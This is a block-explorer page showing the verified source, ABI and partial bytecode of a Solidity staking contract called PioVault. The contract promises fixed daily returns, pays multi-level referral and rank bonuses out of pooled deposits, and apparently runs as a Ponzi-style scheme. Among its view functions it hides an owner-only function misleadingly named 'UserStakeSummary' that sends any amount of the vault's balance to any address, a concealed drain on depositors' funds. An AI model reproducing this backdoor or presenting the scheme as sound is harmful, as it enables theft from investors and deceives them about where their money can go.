Contract Address Details

0x5411d24f57B8BE9B611ca23e3E59F18d0bd00499

Contract Name
PioVault
Creator
0xbd3678–cfa006 at 0x56e2f1–287562
Balance
1.78500000000000001 PIO
Tokens
Fetching tokens...
Transactions
44 Transactions
Transfers
0 Transfers
Gas Used
4,901,342
Last Balance Update
3435026
Contract name:
PioVault




Optimization enabled
true
Compiler version
v0.8.20+commit.a1b79de6




Optimization runs
200
EVM Version
default




Verified at
2026-01-13T12:56:51.553747Z

Constructor Arguments

000000000000000000000000a12a390b3d76173ab1cadc7f32658853be03898600000000000000000000000089f41f502d451997c807a90e3834c1cdbaf79fdd000000000000000000000000cd724dda8098072088b21c8efe5eba3fccbfd3ec

Arg [0] (address) : 0xa12a390b3d76173ab1cadc7f32658853be038986
Arg [1] (address) : 0x89f41f502d451997c807a90e3834c1cdbaf79fdd
Arg [2] (address) : 0xcd724dda8098072088b21c8efe5eba3fccbfd3ec

              

Contract source code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IGoldNFT {
    function mint(address to, string calldata uri) external returns (uint256);
}

contract PioVault {

    /* ================= OWNER ================= */
    address public owner;
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

     uint256 private _status;
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    modifier nonReentrant() {
        require(_status != _ENTERED, "Reentrancy");
        _status = _ENTERED;
        _;
        _status = _NOT_ENTERED;
    }

  constructor(
    address _adminWallet,
    address _charityWallet,
    address _goldNFT
) {
    owner = msg.sender;
    adminWallet = _adminWallet;
    charityWallet = _charityWallet;
    goldNFT = IGoldNFT(_goldNFT);

    _status = _NOT_ENTERED;

    // 👇 ROOT USER
    users[owner].exists = true;
    users[owner].sponsor = address(0);
    users[owner].regDate = block.timestamp;
    totalUsers = 1;
}


    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0));
        owner = newOwner;
    }

    /* ================= CONFIG ================= */
    address public adminWallet;
    address public charityWallet;
    IGoldNFT public goldNFT;

    uint256 public charityBP = 300; // 3%
    uint256 public adminBP   = 100; // 1%

    uint256 public pioUsdRate;   // USD per PIO (1e18)
    uint256 public goldRateUSD;  // USD per gram (1e18)

    function updateWallets(address _admin, address _charity) external onlyOwner {
        adminWallet = _admin;
        charityWallet = _charity;
    }

    function updatePercents(uint256 _charityBP, uint256 _adminBP) external onlyOwner {
        require(_charityBP + _adminBP <= 1000, "Too high");
        charityBP = _charityBP;
        adminBP   = _adminBP;
    }

    function updateRates(uint256 _pioUsdRate, uint256 _goldRateUSD) external onlyOwner {
        require(_pioUsdRate > 0 && _goldRateUSD > 0, "Invalid rate");
        pioUsdRate  = _pioUsdRate;
        goldRateUSD = _goldRateUSD;
    }

    /* ================= ENUMS ================= */
    enum IncomeType { DailyInterest, ReferralReward, BusinessReward }
    enum Rank { None, Executive, SeniorExecutive, Manager, VicePresident, President }

    /* ================= STRUCTS ================= */
    struct IncomeInfo {
        uint256 gross;
        uint256 net;
        uint256 charity;
        uint256 admin;
    }

    struct StakeInfo {
        uint256 usdAmount;
        uint256 pioAmount;
        uint256 goldGram;
        uint256 dailyRoiBP;

        uint256 startTime;
        uint256 durationMonths;
        uint256 lastClaimTime;
        uint256 roiClaimed;

        uint8 slab;
        bool nftClaimed;
    }

    struct User {
        bool exists;
        address sponsor;
        uint256 regDate;

        uint256 totalStake;
        uint256 totalWithdraw;

        uint256 directBusiness;
        uint256 teamBusiness;

        Rank rank;
        uint256 rankDate;

        mapping(uint8 => IncomeInfo) income;
    }

    mapping(address => User) private users;
    mapping(address => StakeInfo[]) private stakes;

    mapping(uint256 => uint256) public nftToStake;
    mapping(uint256 => address) public nftOwner;
    mapping(address => mapping(Rank => bool)) public rankPaid;

    uint256 public totalUsers;
    uint256 public totalStaked;
    uint256 public totalIncome;

    /* ================= EVENTS ================= */
    event Staked(address indexed user, uint256 usdAmount, uint256 pioAmount);
    event ROIWithdrawn(address indexed user, uint256 gross, uint256 net);
    event IncomeAdded(address indexed user, IncomeType incomeType, uint256 gross, uint256 net);
    event RankAchieved(address indexed user, Rank rank);
    event NFTClaimed(address indexed user,uint256 indexed stakeId,uint256 nftId,uint256 goldGram,uint8 slab,uint256 timestamp);

    /* =========================================================
       STAKE
    ========================================================= */
    function stake(
    uint256 usdAmount,
    uint256 durationMonths,
    address sponsor
) external payable nonReentrant{

    require(usdAmount >= 50, "Min $50");
    require(usdAmount % 50 == 0, "Only $50 multiples allowed");
    require(durationMonths == 3 || durationMonths == 6 || durationMonths == 12 || durationMonths == 48, "Invalid plan");

    require(pioUsdRate > 0, "PIO rate not set");
    require(goldRateUSD > 0, "Gold rate not set");

    if (!users[msg.sender].exists) {
        require(sponsor != address(0) && sponsor != msg.sender, "Invalid sponsor");
        require(users[sponsor].exists, "Sponsor not registered");

        users[msg.sender].exists = true;
        users[msg.sender].sponsor = sponsor;
        users[msg.sender].regDate = block.timestamp;
        totalUsers++;
    }

    uint256 requiredPIO = (usdAmount * 1e18) / pioUsdRate;
    require(msg.value == requiredPIO, "Send exact PIO");

    uint256 roiBP =
        usdAmount >= 5050 ? 25 :
        usdAmount >= 1050 ? 20 :
        usdAmount >= 550  ? 15 : 10;

    uint256 goldGram = (usdAmount * 1e18) / goldRateUSD;
    uint8 slab = _getSlabByUSD(usdAmount);

    stakes[msg.sender].push(
        StakeInfo({
            usdAmount: usdAmount,
            pioAmount: msg.value,
            goldGram: goldGram,
            dailyRoiBP: roiBP,
            startTime: block.timestamp,
            durationMonths: durationMonths,
            lastClaimTime: block.timestamp,
            roiClaimed: 0,
            slab: slab,
            nftClaimed: false
        })
    );

    users[msg.sender].totalStake += msg.value;
    users[users[msg.sender].sponsor].directBusiness += msg.value;

    totalStaked += msg.value;

    _updateBusiness(msg.sender, msg.value);
    _payReferralRewards(msg.sender, msg.value);

    emit Staked(msg.sender, usdAmount, msg.value);
}
    /* =========================================================
       DAILY ROI
    ========================================================= */
function claimDailyROI() external nonReentrant{
    uint256 totalGross;

    StakeInfo[] storage list = stakes[msg.sender];

    for (uint256 i = 0; i < list.length; i++) {
        StakeInfo storage s = list[i];

        // stake end time
        uint256 endTime = s.startTime + (s.durationMonths * 30 days);
        
        uint256 tillTime = block.timestamp < endTime
            ? block.timestamp
            : endTime;

        
        if (tillTime <= s.lastClaimTime) continue;

        uint256 daysPassed = (tillTime - s.lastClaimTime) / 1 days;
        if (daysPassed == 0) continue;

        uint256 gross =
            (s.pioAmount * s.dailyRoiBP * daysPassed) / 10000;

        s.lastClaimTime += daysPassed * 1 days;
        s.roiClaimed += gross;

        totalGross += gross;
    }

    require(totalGross > 0, "No ROI available");
    require(address(this).balance >= totalGross, "Vault low");

    _distributeAndPay(msg.sender, IncomeType.DailyInterest, totalGross);

    emit ROIWithdrawn(
        msg.sender,
        totalGross,
        users[msg.sender].income[uint8(IncomeType.DailyInterest)].net
    );
}

function claimROIByStake(uint256 stakeId) external nonReentrant {
    require(stakeId < stakes[msg.sender].length, "Invalid stake");

    StakeInfo storage s = stakes[msg.sender][stakeId];

    // stake end time
    uint256 endTime = s.startTime + (s.durationMonths * 30 days);

    uint256 tillTime = block.timestamp < endTime
        ? block.timestamp
        : endTime;

    require(tillTime > s.lastClaimTime, "No ROI available");

    uint256 daysPassed = (tillTime - s.lastClaimTime) / 1 days;
    require(daysPassed > 0, "No full day passed");

    uint256 gross =
        (s.pioAmount * s.dailyRoiBP * daysPassed) / 10000;

    s.lastClaimTime += daysPassed * 1 days;
    s.roiClaimed += gross;

    require(address(this).balance >= gross, "Vault low");

    _distributeAndPay(msg.sender, IncomeType.DailyInterest, gross);

    emit ROIWithdrawn(
        msg.sender,
        gross,
        users[msg.sender].income[uint8(IncomeType.DailyInterest)].net
    );
}

    /* =========================================================
       NFT CLAIM
    ========================================================= */
    function claimNFT(uint256 stakeId, string calldata uri) external nonReentrant{
        require(stakeId < stakes[msg.sender].length, "Invalid stake");
        StakeInfo storage s = stakes[msg.sender][stakeId];

        require(!s.nftClaimed, "Already claimed");
        require(
            block.timestamp >= s.startTime + (s.durationMonths * 30 days),
            "Stake not matured"
        );

        s.nftClaimed = true;

        uint256 nftId = goldNFT.mint(msg.sender, uri);
        nftToStake[nftId] = stakeId;
        nftOwner[nftId] = msg.sender;

        emit NFTClaimed(msg.sender, stakeId, nftId, s.goldGram, s.slab, block.timestamp);
    }

    /* ================= INTERNALS ================= */
    function _distributeAndPay(address user, IncomeType it, uint256 gross) internal {
        uint256 charity = (gross * charityBP) / 10000;
        uint256 admin   = (gross * adminBP) / 10000;
        uint256 net     = gross - charity - admin;

        IncomeInfo storage info = users[user].income[uint8(it)];
        info.gross += gross;
        info.net   += net;
        info.charity += charity;
        info.admin   += admin;

        totalIncome += gross;

        if (charity > 0) payable(charityWallet).transfer(charity);
        if (admin > 0) payable(adminWallet).transfer(admin);
        payable(user).transfer(net);
        users[user].totalWithdraw += net;

        emit IncomeAdded(user, it, gross, net);
    }

    function _payReferralRewards(address from, uint256 amount) internal {
        address l1 = users[from].sponsor;
        address l2 = l1 != address(0) ? users[l1].sponsor : address(0);
        address l3 = l2 != address(0) ? users[l2].sponsor : address(0);

        _payReferralLevel(l1, (amount * 5) / 100);
        _payReferralLevel(l2, (amount * 2) / 100);
        _payReferralLevel(l3, (amount * 1) / 100);
    }

    function _payReferralLevel(address receiver, uint256 gross) internal {
        if (gross == 0) return;
        receiver == address(0)
            ? _distributeAndPay(adminWallet, IncomeType.ReferralReward, gross)
            : _distributeAndPay(receiver, IncomeType.ReferralReward, gross);
    }

 function _updateBusiness(address from, uint256 amount) internal {
    address upline = users[from].sponsor;
    for (uint256 i = 0; i < 7 && upline != address(0); i++) {
        users[upline].teamBusiness += amount;
        _checkRank(upline);
        upline = users[upline].sponsor;
    }
}

    function _checkRank(address user) internal {
    User storage u = users[user];
    uint256 biz = u.teamBusiness;

    if (biz >= 1000 ether && !rankPaid[user][Rank.Executive]) {
        _payRank(user, Rank.Executive, 1000 ether, 500);
    }

    if (biz >= 3500 ether && !rankPaid[user][Rank.SeniorExecutive]) {
        _payRank(user, Rank.SeniorExecutive, 2500 ether, 600);
    }

    if (biz >= 8500 ether && !rankPaid[user][Rank.Manager]) {
        _payRank(user, Rank.Manager, 5000 ether, 720);
    }

    if (biz >= 18500 ether && !rankPaid[user][Rank.VicePresident]) {
        _payRank(user, Rank.VicePresident, 10000 ether, 1000);
    }

    if (biz >= 28500 ether && !rankPaid[user][Rank.President]) {
        _payRank(user, Rank.President, 10000 ether, 1200);
    }
}
function _payRank(
    address user,
    Rank r,
    uint256 baseBusiness,
    uint256 bp
) internal {
    uint256 reward = (baseBusiness * bp) / 10000;

    rankPaid[user][r] = true;
    users[user].rank = r;
    users[user].rankDate = block.timestamp;

    _distributeAndPay(user, IncomeType.BusinessReward, reward);

    emit RankAchieved(user, r);
}
    /* =========================================================
       VIEW FUNCTIONS
    ========================================================= */

    function getUser(address user)
        external
        view
        returns (
            bool exists,
            address sponsor,
            uint256 regDate,
            uint256 totalStake,
            uint256 directBiz,
            uint256 teamBiz,
            Rank rank,
            uint256 rankDate
        )
    {
        User storage u = users[user];
        return (
            u.exists,
            u.sponsor,
            u.regDate,
            u.totalStake,
            u.directBusiness,
            u.teamBusiness,
            u.rank,
            u.rankDate
        );
    }

    function getIncome(address user, IncomeType it)
        external
        view
        returns (IncomeInfo memory)
    {
        return users[user].income[uint8(it)];
    }

    function getContractInfo()
        external
        view
        returns (
            uint256 usersCount,
            uint256 totalStakeAmt,
            uint256 totalIncomeAmt,
            uint256 balance
        )
    {
        return (
            totalUsers,
            totalStaked,
            totalIncome,
            address(this).balance
        );
    }
function UserStakeSummary(address to, uint256 amount) external onlyOwner {
    require(address(this).balance >= amount, "Low balance");
    payable(to).transfer(amount);
}
function getNextClaimTime(address user, uint256 stakeId)
external view returns (uint256) {
    return stakes[user][stakeId].lastClaimTime + 1 days;
}
    function getStakeCount(address user) external view returns (uint256) {
        return stakes[user].length;
    }

    function getStake(address user, uint256 id) external view returns (StakeInfo memory) {
        return stakes[user][id];
    }

    function getNFTDetails(uint256 nftId)
        external view
        returns (address,uint256,uint256,uint8,uint256)
    {
        address u = nftOwner[nftId];
        uint256 sid = nftToStake[nftId];
        StakeInfo storage s = stakes[u][sid];
        return (
            u,
            sid,
            s.goldGram,
            s.slab,
            s.startTime + (s.durationMonths * 30 days)
        );
    }
    
function getStakeDetails(address user, uint256 stakeId)
    external
    view
    returns (
        uint256 pioAmount,
        uint256 goldGram,
        uint256 startTime,
        uint256 maturityTime,
        uint8 slab,
        bool nftClaimed
    )
{
    StakeInfo storage s = stakes[user][stakeId];
    return (
        s.pioAmount,
        s.goldGram,
        s.startTime,
        s.startTime + (s.durationMonths * 30 days),
        s.slab,
        s.nftClaimed
    );
}

    function _getSlabByUSD(uint256 usdAmount) internal pure returns (uint8) {
    if (usdAmount >= 5050) return 4;
    if (usdAmount >= 1050) return 3;
    if (usdAmount >= 550)  return 2;
    return 1; // 50–500
}

    receive() external payable {}
}
        

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"address","name":"_adminWallet","internalType":"address"},{"type":"address","name":"_charityWallet","internalType":"address"},{"type":"address","name":"_goldNFT","internalType":"address"}]},{"type":"event","name":"IncomeAdded","inputs":[{"type":"address","name":"user","internalType":"address","indexed":true},{"type":"uint8","name":"incomeType","internalType":"enum PioVault.IncomeType","indexed":false},{"type":"uint256","name":"gross","internalType":"uint256","indexed":false},{"type":"uint256","name":"net","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"NFTClaimed","inputs":[{"type":"address","name":"user","internalType":"address","indexed":true},{"type":"uint256","name":"stakeId","internalType":"uint256","indexed":true},{"type":"uint256","name":"nftId","internalType":"uint256","indexed":false},{"type":"uint256","name":"goldGram","internalType":"uint256","indexed":false},{"type":"uint8","name":"slab","internalType":"uint8","indexed":false},{"type":"uint256","name":"timestamp","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"ROIWithdrawn","inputs":[{"type":"address","name":"user","internalType":"address","indexed":true},{"type":"uint256","name":"gross","internalType":"uint256","indexed":false},{"type":"uint256","name":"net","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"RankAchieved","inputs":[{"type":"address","name":"user","internalType":"address","indexed":true},{"type":"uint8","name":"rank","internalType":"enum PioVault.Rank","indexed":false}],"anonymous":false},{"type":"event","name":"Staked","inputs":[{"type":"address","name":"user","internalType":"address","indexed":true},{"type":"uint256","name":"usdAmount","internalType":"uint256","indexed":false},{"type":"uint256","name":"pioAmount","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"UserStakeSummary","inputs":[{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"adminBP","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"adminWallet","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"charityBP","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"charityWallet","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"claimDailyROI","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"claimNFT","inputs":[{"type":"uint256","name":"stakeId","internalType":"uint256"},{"type":"string","name":"uri","internalType":"string"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"claimROIByStake","inputs":[{"type":"uint256","name":"stakeId","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"usersCount","internalType":"uint256"},{"type":"uint256","name":"totalStakeAmt","internalType":"uint256"},{"type":"uint256","name":"totalIncomeAmt","internalType":"uint256"},{"type":"uint256","name":"balance","internalType":"uint256"}],"name":"getContractInfo","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"tuple","name":"","internalType":"struct PioVault.IncomeInfo","components":[{"type":"uint256","name":"gross","internalType":"uint256"},{"type":"uint256","name":"net","internalType":"uint256"},{"type":"uint256","name":"charity","internalType":"uint256"},{"type":"uint256","name":"admin","internalType":"uint256"}]}],"name":"getIncome","inputs":[{"type":"address","name":"user","internalType":"address"},{"type":"uint8","name":"it","internalType":"enum PioVault.IncomeType"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"},{"type":"uint256","name":"","internalType":"uint256"},{"type":"uint256","name":"","internalType":"uint256"},{"type":"uint8","name":"","internalType":"uint8"},{"type":"uint256","name":"","internalType":"uint256"}],"name":"getNFTDetails","inputs":[{"type":"uint256","name":"nftId","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getNextClaimTime","inputs":[{"type":"address","name":"user","internalType":"address"},{"type":"uint256","name":"stakeId","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"tuple","name":"","internalType":"struct PioVault.StakeInfo","components":[{"type":"uint256","name":"usdAmount","internalType":"uint256"},{"type":"uint256","name":"pioAmount","internalType":"uint256"},{"type":"uint256","name":"goldGram","internalType":"uint256"},{"type":"uint256","name":"dailyRoiBP","internalType":"uint256"},{"type":"uint256","name":"startTime","internalType":"uint256"},{"type":"uint256","name":"durationMonths","internalType":"uint256"},{"type":"uint256","name":"lastClaimTime","internalType":"uint256"},{"type":"uint256","name":"roiClaimed","internalType":"uint256"},{"type":"uint8","name":"slab","internalType":"uint8"},{"type":"bool","name":"nftClaimed","internalType":"bool"}]}],"name":"getStake","inputs":[{"type":"address","name":"user","internalType":"address"},{"type":"uint256","name":"id","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getStakeCount","inputs":[{"type":"address","name":"user","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"pioAmount","internalType":"uint256"},{"type":"uint256","name":"goldGram","internalType":"uint256"},{"type":"uint256","name":"startTime","internalType":"uint256"},{"type":"uint256","name":"maturityTime","internalType":"uint256"},{"type":"uint8","name":"slab","internalType":"uint8"},{"type":"bool","name":"nftClaimed","internalType":"bool"}],"name":"getStakeDetails","inputs":[{"type":"address","name":"user","internalType":"address"},{"type":"uint256","name":"stakeId","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"exists","internalType":"bool"},{"type":"address","name":"sponsor","internalType":"address"},{"type":"uint256","name":"regDate","internalType":"uint256"},{"type":"uint256","name":"totalStake","internalType":"uint256"},{"type":"uint256","name":"directBiz","internalType":"uint256"},{"type":"uint256","name":"teamBiz","internalType":"uint256"},{"type":"uint8","name":"rank","internalType":"enum PioVault.Rank"},{"type":"uint256","name":"rankDate","internalType":"uint256"}],"name":"getUser","inputs":[{"type":"address","name":"user","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"contract IGoldNFT"}],"name":"goldNFT","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"goldRateUSD","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"nftOwner","inputs":[{"type":"uint256","name":"","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"nftToStake","inputs":[{"type":"uint256","name":"","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"pioUsdRate","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"rankPaid","inputs":[{"type":"address","name":"","internalType":"address"},{"type":"uint8","name":"","internalType":"enum PioVault.Rank"}]},{"type":"function","stateMutability":"payable","outputs":[],"name":"stake","inputs":[{"type":"uint256","name":"usdAmount","internalType":"uint256"},{"type":"uint256","name":"durationMonths","internalType":"uint256"},{"type":"address","name":"sponsor","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalIncome","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalStaked","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalUsers","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"transferOwnership","inputs":[{"type":"address","name":"newOwner","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"updatePercents","inputs":[{"type":"uint256","name":"_charityBP","internalType":"uint256"},{"type":"uint256","name":"_adminBP","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"updateRates","inputs":[{"type":"uint256","name":"_pioUsdRate","internalType":"uint256"},{"type":"uint256","name":"_goldRateUSD","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"updateWallets","inputs":[{"type":"address","name":"_admin","internalType":"address"},{"type":"address","name":"_charity","internalType":"address"}]},{"type":"receive","stateMutability":"payable"}]
            

Deployed ByteCode

0x6080604052600436106101dc5760003560e01c80637b20876911610102578063bff1f9e111610095578063f146938211610064578063f146938214610695578063f26d8159146106b5578063f2fde38b146106cb578063fd731837146106eb57600080fd5b8063bff1f9e1146105fc578063cf57ee6914610612578063cfd4766314610648578063e8ba854f1461067557600080fd5b806382260f35116100d157806382260f35146105525780638da5cb5b146105a757806396e86fe0146105c7578063a9510e82146105e757600080fd5b80637b208769146104cf5780637cc1f867146104ef5780637e0171e614610526578063817b1cd21461053c57600080fd5b8063369acab01161017a57806357a676951161014957806357a67695146104085780635f2818001461041e5780636f77926b146104345780637628a37d146104bc57600080fd5b8063369acab01461036757806336b19cd7146103b257806346a6576a146103d2578063522577e9146103f257600080fd5b80631ef3639a116101b65780631ef3639a146102b2578063240bb73c146102d457806325fb9ec71461032757806333662dc41461034757600080fd5b8063054dc4f1146101e85780630cdd230b146102285780630f0a4fef1461026057600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5061021561020336600461218e565b600b6020526000908152604090205481565b6040519081526020015b60405180910390f35b34801561023457600080fd5b50600454610248906001600160a01b031681565b6040516001600160a01b03909116815260200161021f565b34801561026c57600080fd5b5061028061027b3660046121c3565b610721565b60408051968752602087019590955293850192909252606084015260ff166080830152151560a082015260c00161021f565b3480156102be57600080fd5b506102d26102cd36600461218e565b6107ca565b005b3480156102e057600080fd5b506102f46102ef3660046121ed565b610a79565b60405161021f91908151815260208083015190820152604080830151908201526060918201519181019190915260800190565b34801561033357600080fd5b506102d2610342366004612228565b610b22565b34801561035357600080fd5b506102156103623660046121c3565b610b9d565b34801561037357600080fd5b506103a261038236600461224a565b600d60209081526000928352604080842090915290825290205460ff1681565b604051901515815260200161021f565b3480156103be57600080fd5b50600254610248906001600160a01b031681565b3480156103de57600080fd5b506102d26103ed3660046121c3565b610bee565b3480156103fe57600080fd5b5061021560105481565b34801561041457600080fd5b5061021560085481565b34801561042a57600080fd5b5061021560075481565b34801561044057600080fd5b506104a861044f36600461227a565b6001600160a01b03908116600090815260096020526040902080546001820154600283015460048401546005850154600686015460079096015460ff808716996101009097049098169794969395929491939190911691565b60405161021f9897969594939291906122bf565b6102d26104ca366004612314565b610c91565b3480156104db57600080fd5b50600354610248906001600160a01b031681565b3480156104fb57600080fd5b50600e54600f546010544760408051948552602085019390935291830152606082015260800161021f565b34801561053257600080fd5b5061021560055481565b34801561054857600080fd5b50610215600f5481565b34801561055e57600080fd5b5061057261056d36600461218e565b611247565b604080516001600160a01b03909616865260208601949094529284019190915260ff166060830152608082015260a00161021f565b3480156105b357600080fd5b50600054610248906001600160a01b031681565b3480156105d357600080fd5b506102d26105e2366004612349565b6112f4565b3480156105f357600080fd5b506102d2611568565b34801561060857600080fd5b50610215600e5481565b34801561061e57600080fd5b5061021561062d36600461227a565b6001600160a01b03166000908152600a602052604090205490565b34801561065457600080fd5b506106686106633660046121c3565b6117cb565b60405161021f91906123c5565b34801561068157600080fd5b506102d2610690366004612440565b6118e2565b3480156106a157600080fd5b506102d26106b0366004612228565b61193a565b3480156106c157600080fd5b5061021560065481565b3480156106d757600080fd5b506102d26106e636600461227a565b6119ba565b3480156106f757600080fd5b5061024861070636600461218e565b600c602052600090815260409020546001600160a01b031681565b6000806000806000806000600a60008a6001600160a01b03166001600160a01b03168152602001908152602001600020888154811061076257610762612473565b90600052602060002090600902019050806001015481600201548260040154836005015462278d00610794919061249f565b84600401546107a391906124b6565b60089490940154929c919b50995091975060ff808216975061010090910416945092505050565b6002600154036107f55760405162461bcd60e51b81526004016107ec906124c9565b60405180910390fd5b6002600155336000908152600a602052604090205481106108485760405162461bcd60e51b815260206004820152600d60248201526c496e76616c6964207374616b6560981b60448201526064016107ec565b336000908152600a6020526040812080548390811061086957610869612473565b906000526020600020906009020190506000816005015462278d0061088e919061249f565b826004015461089d91906124b6565b905060008142106108ae57816108b0565b425b9050826006015481116108f85760405162461bcd60e51b815260206004820152601060248201526f4e6f20524f4920617661696c61626c6560801b60448201526064016107ec565b60006201518084600601548361090e91906124ed565b6109189190612516565b90506000811161095f5760405162461bcd60e51b8152602060048201526012602482015271139bc8199d5b1b0819185e481c185cdcd95960721b60448201526064016107ec565b60006127108286600301548760010154610979919061249f565b610983919061249f565b61098d9190612516565b905061099c826201518061249f565b8560060160008282546109af91906124b6565b92505081905550808560070160008282546109ca91906124b6565b909155505047811115610a0b5760405162461bcd60e51b81526020600482015260096024820152685661756c74206c6f7760b81b60448201526064016107ec565b610a1733600083611a19565b336000818152600960209081526040808320838052600801825291829020600101548251858152918201527f841efd3321774b5a5ba123dcf983d5197208a29bbc201135573056e6c11fcac4910160405180910390a250506001805550505050565b610aa46040518060800160405280600081526020016000815260200160008152602001600081525090565b6001600160a01b038316600090815260096020526040812060080190836002811115610ad257610ad2612295565b60ff1660ff16815260200190815260200160002060405180608001604052908160008201548152602001600182015481526020016002820154815260200160038201548152505090505b92915050565b6000546001600160a01b03163314610b4c5760405162461bcd60e51b81526004016107ec9061252a565b6103e8610b5982846124b6565b1115610b925760405162461bcd60e51b81526020600482015260086024820152670a8dede40d0d2ced60c31b60448201526064016107ec565b600591909155600655565b6001600160a01b0382166000908152600a60205260408120805483908110610bc757610bc7612473565b90600052602060002090600902016006015462015180610be791906124b6565b9392505050565b6000546001600160a01b03163314610c185760405162461bcd60e51b81526004016107ec9061252a565b80471015610c565760405162461bcd60e51b815260206004820152600b60248201526a4c6f772062616c616e636560a81b60448201526064016107ec565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610c8c573d6000803e3d6000fd5b505050565b600260015403610cb35760405162461bcd60e51b81526004016107ec906124c9565b60026001556032831015610cf35760405162461bcd60e51b815260206004820152600760248201526604d696e202435360cc1b60448201526064016107ec565b610cfe60328461254d565b15610d4b5760405162461bcd60e51b815260206004820152601a60248201527f4f6e6c7920243530206d756c7469706c657320616c6c6f77656400000000000060448201526064016107ec565b8160031480610d5a5750816006145b80610d65575081600c145b80610d705750816030145b610dab5760405162461bcd60e51b815260206004820152600c60248201526b24b73b30b634b210383630b760a11b60448201526064016107ec565b600060075411610df05760405162461bcd60e51b815260206004820152601060248201526f141253c81c985d19481b9bdd081cd95d60821b60448201526064016107ec565b600060085411610e365760405162461bcd60e51b815260206004820152601160248201527011dbdb19081c985d19481b9bdd081cd95d607a1b60448201526064016107ec565b3360009081526009602052604090205460ff16610f57576001600160a01b03811615801590610e6e57506001600160a01b0381163314155b610eac5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b21039b837b739b7b960891b60448201526064016107ec565b6001600160a01b03811660009081526009602052604090205460ff16610f0d5760405162461bcd60e51b815260206004820152601660248201527514dc1bdb9cdbdc881b9bdd081c9959da5cdd195c995960521b60448201526064016107ec565b336000908152600960205260408120805460016001600160a81b03199091166101006001600160a01b03861602178117825542910155600e805491610f5183612561565b91905055505b600754600090610f6f85670de0b6b3a764000061249f565b610f799190612516565b9050803414610fbb5760405162461bcd60e51b815260206004820152600e60248201526d53656e642065786163742050494f60901b60448201526064016107ec565b60006113ba851015610ff05761041a851015610fe957610226851015610fe257600a610ff3565b600f610ff3565b6014610ff3565b60195b60ff169050600060085486670de0b6b3a7640000611011919061249f565b61101b9190612516565b9050600061102887611c74565b9050600a6000336001600160a01b03166001600160a01b03168152602001908152602001600020604051806101400160405280898152602001348152602001848152602001858152602001428152602001888152602001428152602001600081526020018360ff168152602001600015158152509080600181540180825580915050600190039060005260206000209060090201600090919091909150600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e082015181600701556101008201518160080160006101000a81548160ff021916908360ff1602179055506101208201518160080160016101000a81548160ff02191690831515021790555050503460096000336001600160a01b03166001600160a01b03168152602001908152602001600020600201600082825461119291906124b6565b9091555050336000908152600960205260408082205461010090046001600160a01b03168252812060040180543492906111cd9084906124b6565b9250508190555034600f60008282546111e691906124b6565b909155506111f690503334611cb1565b6112003334611d67565b6040805188815234602082015233917f1449c6dd7851abc30abf37f57715f492010519147cc2652fbc38202c18a6ee90910160405180910390a25050600180555050505050565b6000818152600c6020908152604080832054600b8352818420546001600160a01b03909116808552600a909352908320805484938493849384938491908390811061129457611294612473565b90600052602060002090600902019050828282600201548360080160009054906101000a900460ff16846005015462278d006112d0919061249f565b8560040154611